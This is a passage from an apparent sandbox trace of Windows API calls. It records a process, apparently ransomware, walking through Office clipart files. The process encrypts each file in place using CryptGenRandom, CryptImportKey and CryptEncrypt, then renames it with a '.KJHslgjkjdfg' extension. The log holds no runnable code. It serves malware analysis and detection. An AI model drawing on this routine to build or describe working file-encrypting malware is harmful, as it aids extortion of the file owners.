lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.127] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.128] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.128] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.128] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.128] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.128] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b4, lpOverlapped=0x0) returned 1 [0191.128] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0) returned 1 [0191.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.128] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c0, lpOverlapped=0x0) returned 1 [0191.128] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.128] SetEndOfFile (hFile=0x114) returned 1 [0191.130] GetProcessHeap () returned 0x2a0000 [0191.131] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.131] GetProcessHeap () returned 0x2a0000 [0191.131] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.kjhslgjkjdfg")) returned 1 [0191.132] CloseHandle (hObject=0x114) returned 1 [0191.132] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1 [0191.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.134] GetProcessHeap () returned 0x2a0000 [0191.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.134] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.134] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.136] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.136] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.136] GetProcessHeap () returned 0x2a0000 [0191.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.136] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.136] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.136] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.136] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.136] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.136] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.136] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.137] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x504, lpOverlapped=0x0) returned 1 [0191.137] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x510, dwBufLen=0x510 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x510) returned 1 [0191.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.137] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x510, lpOverlapped=0x0) returned 1 [0191.137] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.137] SetEndOfFile (hFile=0x114) returned 1 [0191.139] GetProcessHeap () returned 0x2a0000 [0191.139] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.139] GetProcessHeap () returned 0x2a0000 [0191.139] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.kjhslgjkjdfg")) returned 1 [0191.141] CloseHandle (hObject=0x114) returned 1 [0191.141] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1 [0191.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.142] GetProcessHeap () returned 0x2a0000 [0191.142] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.142] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.142] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.144] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.144] GetProcessHeap () returned 0x2a0000 [0191.144] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.144] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.144] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.144] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.145] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.145] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.145] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.145] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.145] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.145] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.145] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a54, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a54, lpOverlapped=0x0) returned 1 [0191.146] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a60) returned 1 [0191.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.146] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a60, lpOverlapped=0x0) returned 1 [0191.147] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.147] SetEndOfFile (hFile=0x114) returned 1 [0191.149] GetProcessHeap () returned 0x2a0000 [0191.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.149] GetProcessHeap () returned 0x2a0000 [0191.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.kjhslgjkjdfg")) returned 1 [0191.152] CloseHandle (hObject=0x114) returned 1 [0191.152] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1 [0191.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.154] GetProcessHeap () returned 0x2a0000 [0191.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.154] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.156] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.156] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.156] GetProcessHeap () returned 0x2a0000 [0191.156] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.156] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.156] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.156] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.156] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.157] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.157] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.157] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.157] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x574, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x574, lpOverlapped=0x0) returned 1 [0191.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x580, dwBufLen=0x580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x580) returned 1 [0191.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.157] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x580, lpOverlapped=0x0) returned 1 [0191.157] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.157] SetEndOfFile (hFile=0x114) returned 1 [0191.160] GetProcessHeap () returned 0x2a0000 [0191.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.160] GetProcessHeap () returned 0x2a0000 [0191.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.kjhslgjkjdfg")) returned 1 [0191.162] CloseHandle (hObject=0x114) returned 1 [0191.164] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1 [0191.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.167] GetProcessHeap () returned 0x2a0000 [0191.167] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.167] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.167] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0191.180] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.180] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.180] GetProcessHeap () returned 0x2a0000 [0191.180] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.180] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.180] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.180] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.181] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.181] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.181] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.181] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.181] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.181] CryptSetKeyParam 